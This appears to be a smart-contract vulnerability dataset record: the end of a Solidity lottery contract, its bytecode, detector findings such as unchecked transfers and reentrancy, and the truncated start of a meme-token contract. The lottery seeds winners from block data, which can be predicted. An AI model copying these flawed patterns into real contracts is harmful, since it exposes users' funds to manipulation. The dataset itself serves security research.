function getSeed() private view returns(uint) {
return uint(keccak256(abi.encodePacked(block.difficulty, now, userAddresses)));
}
function calculateWinner(uint target) internal view returns(uint){
uint last = entryArray.length;
uint first = 0;
uint mid = 0;
if(target <= entryArray[0]){
return entryArray[0];
}
if(target >= entryArray[last-1]){
return entryArray[last-1];
}
while(first < last){
mid = (first + last) / 2;
if(entryArray[mid] == target){
return entryArray[mid];
}
if(target < entryArray[mid]){
if(mid > 0 && target > entryArray[mid - 1]){
return entryArray[mid - 1];
}
last = mid;
}
else{
if(mid < last - 1 && target < entryArray[mid + 1]){
return entryArray[mid];
}
first = mid + 1;
}
}
return entryArray[mid];
}
function winningChance() public view returns(uint winchance){
return(
(userInfo[round][msg.sender].totalEntries * 100) / totalEntry);
}
function lastRoundInfo() external view returns(address[] memory,uint[] memory){
return (winners,winningNumbers);
}
function transferAnyERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner {
require(_tokenAddress != address(token),"Not USDC");
IERC20(_tokenAddress).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80637a8042bd116100f9578063a2fb117511610097578063dd4e878011610071578063dd4e87801461074d578063e0a1ca6e1461076b578063f2fde38b14610789578063fc0c546a146107cd576101a9565b8063a2fb1175146106a3578063d59baa0314610711578063dbdff2c11461072f576101a9565b806393290f0b116100d357806393290f0b1461056757806393f1a40b146105d557806394985ddd1461064d578063a0be06f914610685576101a9565b80637a8042bd146104c15780638beb60b6146104ef5780638da5cb5b1461051d576101a9565b80634e45f095116101665780635b6f547e116101405780635b6f547e146103d95780635d495aea146104475780635e08ea831461045157806369010e3b14610493576101a9565b80634e45f0951461030b5780634f23ed961461034d578063502c9bd51461036b576101a9565b80631209b1f6146101ae578063146ca531146101cc57806315981650146101ea5780633f78ad6e146102185780633fd43098146102bf57806342619f66146102ed575b600080fd5b6101b6610817565b6040518082815260200191505060405180910390f35b6101d461081d565b6040518082815260200191505060405180910390f35b6102166004803603602081101561020057600080fd5b8101908080359060200190929190505050610823565b005b6102206108f0565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561026757808201518184015260208101905061024c565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102a957808201518184015260208101905061028e565b5050505090500194505050505060405180910390f35b6102eb600480360360208110156102d557600080fd5b81019080803590602001909291905050506109d9565b005b6102f5611274565b6040518082815260200191505060405180910390f35b6103376004803603602081101561032157600080fd5b810190808035906020019092919050505061127a565b6040518082815260200191505060405180910390f35b61035561129b565b6040518082815260200191505060405180910390f35b6103976004803603602081101561038157600080fd5b81019080803590602001909291905050506112a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610445600480360360608110156103ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112dd565b005b61044f61152c565b005b61047d6004803603602081101561046757600080fd5b8101908080359060200190929190505050611d86565b6040518082815260200191505060405180910390f35b6104bf600480360360208110156104a957600080fd5b8101908080359060200190929190505050611d9e565b005b6104ed600480360360208110156104d757600080fd5b8101908080359060200190929190505050611e6b565b005b61051b6004803603602081101561050557600080fd5b8101908080359060200190929190505050612085565b005b610525612152565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105936004803603602081101561057d57600080fd5b8101908080359060200190929190505050612178565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610621600480360360408110156105eb57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ab565b604051808415151515815260200183815260200182151515158152602001935050505060405180910390f35b6106836004803603604081101561066357600080fd5b8101908080359060200190929190803590602001909291905050506121fc565b005b61068d6122cb565b6040518082815260200191505060405180910390f35b6106cf600480360360208110156106b957600080fd5b81019080803590602001909291905050506122d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61071961230d565b6040518082815260200191505060405180910390f35b610737612313565b6040518082815260200191505060405180910390f35b6107556125e0565b6040518082815260200191505060405180910390f35b6107736125e6565b6040518082815260200191505060405180910390f35b6107cb6004803603602081101561079f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612651565b005b6107d5612758565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60085481565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b606080600660078180548060200260200160405190810160405280929190818152602001828054801561097857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161092e575b50505050509150808054806020026020016040519081016040528092919081815260200182805480156109ca57602002820191906000526020600020905b8154815260200190600101908083116109b6575b50505050509050915091509091565b60085481101580156109f75750600a600954816109f257fe5b048111155b610a69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c696420616d6f756e7421000000000000000000000000000000000081525060200191505060405180910390fd5b601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610b3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416c726561647920656e7465726564210000000000000000000000000000000081525060200191505060405180910390fd5b80601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610c1357600080fd5b505afa158015610c27573d6000803e3d6000fd5b505050506040513d6020811015610c3d57600080fd5b81019080805190602001909291905050501015610cc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f53657420616c6c6f77616e63652066697273742100000000000000000000000081525060200191505060405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610da157600080fd5b505af1158015610db5573d6000803e3d6000fd5b505050506040513d6020811015610dcb57600080fd5b8101908080519060200190929190505050905080610e51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b600954601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ef357600080fd5b505afa158015610f07573d6000803e3d6000fd5b505050506040513d6020811015610f1d57600080fd5b81019080805190602001909291905050501115610fa2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f506f6f6c20616c72656164792066756c6c00000000000000000000000000000081525060200191505060405180910390fd5b6000610fb96008548461277e90919063ffffffff16565b905060085460095481610fc857fe5b0481600454011115611042576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f427579206c6f77657220616d6f756e74206f66207469636b657473000000000081525060200191505060405180910390fd5b80601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506001601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600454908060018154018082558091505060019003906000526020600020016000909190919091505533601a6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806004600082825401925050819055506002339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa0405ed62da771dea9ae1687143e1531af81ade5b749bf58c02d871b22a6f4e3338483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b60185481565b6007818154811061128757fe5b906000526020600020016000915090505481565b60045481565b600281815481106112ae57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611464576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f74205553444300000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114eb57600080fd5b505af11580156114ff573d6000803e3d6000fd5b505050506040513d602081101561151557600080fd5b810190808051906020019092919050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600a600280549050101561166b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f41746c65617374203130207061727469636970616e747300000000000000000081525060200191505060405180910390fd5b603260045410156116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4d696e696d756d203530207469636b65747320736f6c6400000000000000000081525060200191505060405180910390fd5b601854601954141561175e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5570646174652072616e646f6d206e756d62657220666972737421000000000081525060200191505060405180910390fd5b6000806000806000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561180557600080fd5b505afa158015611819573d6000803e3d6000fd5b505050506040513d602081101561182f57600080fd5b81019080805190602001909291905050509050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166064600a548502816118b157fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561191b57600080fd5b505af115801561192f573d6000803e3d6000fd5b505050506040513d602081101561194557600080fd5b8101908080519060200190929190505050506064600a5482028161196557fe5b04810390505b600a851015611bad5761198a6004546018548161198457fe5b0661280d565b9350601a600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506006839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760045460185481611a3457fe5b069080600181540180825580915050600190039060005260206000200160009091909190915055601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb846103e8600b89600a8110611aaa57fe5b0154850281611ab557fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b1f57600080fd5b505af1158015611b33573d6000803e3d6000fd5b505050506040513d6020811015611b4957600080fd5b810190808051906020019092919050505050848060010195505060185442866040516020018084815260200183815260200182815260200193505050506040516020818303038152906040528051906020012060001c91508160188190555061196b565b7f68c0730041167410e1efc0fa1abec7e3a8220c8803db9accd8506119cb95fc23600660076040518080602001806020018381038352858181548152602001915080548015611c5157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611c07575b50508381038252848181548152602001915080548015611c9057602002820191906000526020600020905b815481526020019060010190808311611c7c575b505094505050505060405180910390a16018546019819055506000600481905550600067ffffffffffffffff81118015611cc957600080fd5b50604051908082528060200260200182016040528015611cf85781602001602082028036833780820191505090505b5060019080519060200190611d0e929190612e2d565b50600067ffffffffffffffff81118015611d2757600080fd5b50604051908082528060200260200182016040528015611d565781602001602082028036833780820191505090505b5060029080519060200190611d6c929190612e7a565b506005600081548092919060010191905055505050505050565b600b81600a8110611d9357fe5b016000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060098190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fd557600080fd5b505af1158015611fe9573d6000803e3d6000fd5b505050506040513d6020811015611fff57600080fd5b8101908080519060200190929190505050612082576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f556e61626c6520746f207472616e73666572000000000000000000000000000081525060200191505060405180910390fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b80600a8190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900460ff16908060010154908060020160009054906101000a900460ff16905083565b7f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c0081525060200191505060405180910390fd5b6122c782826129f9565b5050565b600a5481565b600681815481106122de57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6017547f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561247857600080fd5b505afa15801561248c573d6000803e3d6000fd5b505050506040513d60208110156124a257600080fd5b810190808051906020019092919050505011612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612f6d602b913960400191505060405180910390fd5b600067ffffffffffffffff8111801561252157600080fd5b506040519080825280602002602001820160405280156125505781602001602082028036833780820191505090505b5060069080519060200190612566929190612e7a565b50600067ffffffffffffffff8111801561257f57600080fd5b506040519080825280602002602001820160405280156125ae5781602001602082028036833780820191505090505b50600790805190602001906125c4929190612e2d565b506125db6016546017546125d6612a45565b612ae7565b905090565b60195481565b60006004546064601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154028161264b57fe5b04905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612714576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082116127f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b600082848161280057fe5b0490508091505092915050565b600080600180549050905060008090506000809050600160008154811061283057fe5b9060005260206000200154851161286457600160008154811061284f57fe5b906000526020600020015493505050506129f4565b60018084038154811061287357fe5b906000526020600020015485106128a85760018084038154811061289357fe5b906000526020600020015493505050506129f4565b5b828210156129d6576002838301816128bd57fe5b04905084600182815481106128ce57fe5b9060005260206000200154141561290157600181815481106128ec57fe5b906000526020600020015493505050506129f4565b6001818154811061290e57fe5b906000526020600020015485101561297957600081118015612948575060018082038154811061293a57fe5b906000526020600020015485115b156129715760018082038154811061295c57fe5b906000526020600020015493505050506129f4565b8092506129d1565b60018303811080156129a3575060018082018154811061299557fe5b906000526020600020015485105b156129ca57600181815481106129b557fe5b906000526020600020015493505050506129f4565b6001810191505b6128a9565b600181815481106129e357fe5b906000526020600020015493505050505b919050565b806018819055507fdd1082c62fe2408b97a7320555bd4a2a42f6c8f8771c418c23cf79185279fe4c82601854604051808381526020018281526020019250505060405180910390a15050565b600044426002604051602001808481526020018381526020018280548015612ac257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612a78575b505093505050506040516020818303038152906040528051906020012060001c905090565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff16634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795285878660405160200180838152602001828152602001925050506040516020818303038152906040526040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612bf6578082015181840152602081019050612bdb565b50505050905090810190601f168015612c235780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015612c4457600080fd5b505af1158015612c58573d6000803e3d6000fd5b505050506040513d6020811015612c6e57600080fd5b8101908080519060200190929190505050506000612ca08584306000808a815260200190815260200160002054612cf2565b9050612cc8600160008088815260200190815260200160002054612d6c90919063ffffffff16565b60008087815260200190815260200160002081905550612ce88582612df4565b9150509392505050565b600084848484604051602001808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019450505050506040516020818303038152906040528051906020012060001c9050949350505050565b600080828401905083811015612dea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282604051602001808381526020018281526020019250505060405160208183030381529060405280519060200120905092915050565b828054828255906000526020600020908101928215612e69579160200282015b82811115612e68578251825591602001919060010190612e4d565b5b509050612e769190612f04565b5090565b828054828255906000526020600020908101928215612ef3579160200282015b82811115612ef25782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612e9a565b5b509050612f009190612f29565b5090565b612f2691905b80821115612f22576000816000905550600101612f0a565b5090565b90565b612f6991905b80821115612f6557600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612f2f565b5090565b9056fe4e6f7420656e6f756768204c494e4b202d2066696c6c20636f6e7472616374207769746820666175636574a264697066735822122040d005f2297d3b14c6db127650243ace8646006f591899be64ca75e0bf03663064736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,954 |
0xc522d482ec21a67b40ae1ae41fcdf37f3e995426
|
// https://t.me/stupidfloki
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract StupidFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Stupid Floki";
string private constant _symbol = 'SFLOKI️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
